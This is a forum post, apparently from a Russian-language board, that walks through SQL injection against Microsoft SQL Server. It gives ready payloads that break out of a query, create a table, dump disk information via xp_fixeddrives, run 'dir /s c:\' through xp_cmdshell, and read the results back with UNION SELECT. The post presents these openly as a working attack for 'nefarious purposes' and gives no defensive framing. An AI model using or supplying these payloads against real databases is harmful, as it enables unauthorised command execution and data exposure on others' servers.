![]() |
|
|
#6 | ||
|
Архивный участник
Join Date: Mar 2006
Posts: 104
|
Quote:
Quote:
Observe: In this statement I will: 1. Close the query by leading off with '; 2. Create a table that will store my information. 3. Insert into my table information about the machine's fixed disks. 4. Prefix the rest of the line with -- in order to turn it into a comment and not affect my query. Code:
'; CREATE TABLE haxor(name varchar(255), mb_free int); INSERT INTO haxor EXEC master..xp_fixeddrives;-- 1. Close the first part of the query by leading off with ' 2. Union my null results with a query designed to pull the data from my haxor table. 3. Turn the rest of the line into a comment. Code:
' UNION SELECT name, cast((mb_free) as varchar(10)), 1.0 FROM haxor;-- Lets find out the directories shall we? Now that i have all my info from my haxor table, I can drop it and recreate it to further my nefarious purposes... Lets see.... C:\, what do we have there? Code:
'; DROP TABLE haxor;CREATE TABLE haxor(line varchar(255) null); INSERT INTO haxor EXEC master..xp_cmdshell 'dir /s c:\';-- Code:
' UNION SELECT line, '', 1.0 FROM haxor;-- Is it the most logical explanation, maybe not. But is it possible? Most assuredly. |
||
|
|
| Thread Tools | Search this Thread |
| Display Modes | |
|
|